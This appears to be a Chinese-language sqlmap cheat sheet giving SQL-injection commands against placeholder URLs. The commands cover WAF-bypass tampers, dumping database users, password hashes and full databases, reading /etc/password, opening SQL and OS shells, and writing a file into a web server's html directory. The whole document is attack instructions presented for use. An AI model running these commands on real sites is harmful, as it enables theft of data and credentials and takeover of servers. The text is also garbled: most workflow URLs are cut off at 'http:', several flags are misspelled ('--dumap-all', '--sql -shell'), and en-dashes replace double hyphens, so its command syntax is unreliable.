sqlmap使用详解
POST登录框注入:
sqlmap.py -r 从文件读取数据 -p 指定的参数 --tables
sqlmap.py -u 登录的地址 --forms 自动判断注入
sqlmap.py -u 登录的地址 --data "指定参数"
绕过waf防火墙:sqlmap.py -u 注入点 -v 3 --dbs --batch --tamper space2morehash.py,space2hash.py,base64encode.py,charencode.py
-u
-g 谷歌搜索
-f
-b
-p
-D “”
-T “”
-C “”
-s “”
–columns
–current-user
–current-db
–users
–passwords
–privileges
-U
–dbs
–tables -D “”
–columns -T “user” -D “mysql”
–dump-all
–exclude-sysdbs
–dump -T “” -D “” -C “”
–dump -T “” -D “” –start 2 –top 4
–dbms
–os
--sql -shell 写shell
--delay 延迟的时间
--safe-freq 次数
-v
0:只显示Python的回溯,错误和关键消息。
1:显示信息和警告消息。
2:显示调试消息。
3:有效载荷注入。
4:显示HTTP请求。
5:显示HTTP响应头。
6:显示HTTP响应页面的内容
–privileges
–is-dba
–roles
–udf-inject
–union-check
–union-cols
–union-test
–union-use
–union-tech orderby
–method “POST” –data “”
–cookie “用;号分开”
–referer “”
–user-agent “”
–proxy “http:
–string “”
–threads
–sql-shell
–sql-query
–file-read
–file-write
–file-dest
–os-cmd=id
–os-shell
–os-pwn
–msf-path=
–os-smbrelay
–os-bof
–reg-read
–priv-esc
–time-sec=
-p “user-agent” –user-agent “sqlmap/0.7rc1 (http:
–eta
/pentest/database/sqlmap/txt/
common-columns.txt 字段字典
common-outputs.txt
common-tables.txt 表字典
keywords.txt
oracle-default-passwords.txt
user-agents.txt
wordlist.txt
Sqlmap常用命令:
1)判断当前用户是否是dba
python sqlmap.py -u "url" --is-dba -v 1
2)--users:列出数据库管理系统用户
python sqlmap.py -u "url" --users -v 0
3)--passwords:数据库用户密码(hash)
python sqlmap.py -u "url" --passwords -v 0
python sqlmap.py -u "url" --passwords -U sa -v 0
4)查看用户权限
python sqlmap.py -u "url" --privileges -v 0
python sqlmap.py -u "url" --privileges -U postgres -v 0
5)--dbs可以利用的数据库
python sqlmap.py -u "url" --dbs -v 0
6)--tables列数据库表
python sqlmap.py -u "url" --tables -D "information_scheam"
-D:指定数据库名
7)--columns 列出表中的列名
python sqlmap.py -u "url" --columns -T "user" -D "mysql" -v 1
-T:指定表名,-D:指定库名
8)--dump列表中指定列的内容
python sqlmap.py -u "url" --dump -T "users" -D "testdb"
-C:可以指定字段
指定列的范围为2到4
python sqlmap.py -u "url" --dump -T "users" -D "testdb" --start 2 --stop 4 -v 0
9)--dumap-all列出所有数据库,所有表内容
python sqlmap.py -u "url" --dump-all -v 0
只列出用户自己新建的数据库和表的内容
python sqlmap.py -u "url" --dump-all --exclude-sysdbs -v 0
10)--file读取文件内容[load_file()函数]
python sqlmap.py -u "url" --file /etc/password
11)执行SQL
python sqlmap.py -u "url" --sql-shell
12)-p 指定参数
python sqlmap.py -u "url" -v 1 -p "id"
-p可以指定多参数-p "cat,id"
13)POST提交
python sqlmap.py -u "url" --method POST --data "id=1"
14)COOKIE提交
python sqlmap.py -u "url" --cookie "id=1" -v 1
cookie值可以由TamperData抓取
15)refer欺骗
python sqlmap.py -u "url" --refer "url" -v 3
16)使用自定义user-agent或者user-agents.txt
python sqlmap.py -u "url" --user-agent "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)" -v 3
python sqlmap.py -u "url" -v 1 -a "./txt/user-agents.txt"
17)使用多线程猜解
python sqlmap.py -u "url" -v 1 --current-user --threads 3
18)指定数据库,绕过SQLMAP的自动检测
python sqlmap.py -u "url" -v 2 --dbms "PostgreSQL"
19)指定操作系统绕过SQLMAP自动检测
python sqlmap.py -u "url" -v 2 --os "Windows"
20)--prefix and --postfix自定义payload
python sqlmap.py -u "url" -v 3 -p "id" --prefix "'" --postfix "and 'test'='test"
21)union注入测试
python sqlmap.py -u "url" --union-test -v -1
22)配合order by
python sqlmap.py -u "url" --union-test --union-tech orderby -v 1
23)python sqlmap.py -u "url" -v 1 --union-use --banner
24)python sqlmap.py -u "url" -v 5 --union-use --current-user
25)python sqlmap.py -u "url" -v 1 --union-use --dbs
简单的注入流程
1.读取数据库版本,当前用户,当前数据库
sqlmap -u http:
2.判断当前数据库用户权限
sqlmap -u http:
sqlmap -u http:
3.读取所有数据库用户或指定数据库用户的密码
sqlmap -u http:
sqlmap -u http:
4.获取所有数据库
sqlmap -u http:
5.获取指定数据库中的所有表
sqlmap -u http:
6.获取指定数据库名中指定表的字段
sqlmap -u http:
7.获取指定数据库名中指定表中指定字段的数据
sqlmap -u http:
8.file-read读取web文件
sqlmap -u http:
9.file-write写入文件到web
sqlmap -u http:
将本地的test.txt写入到站点服务器的html目录下
sqlmap.py -u "http://www.xxxxxx.com/sql-injection.php?id=1" –file-write /test/test.txt –file-dest /var/www/html/1.txt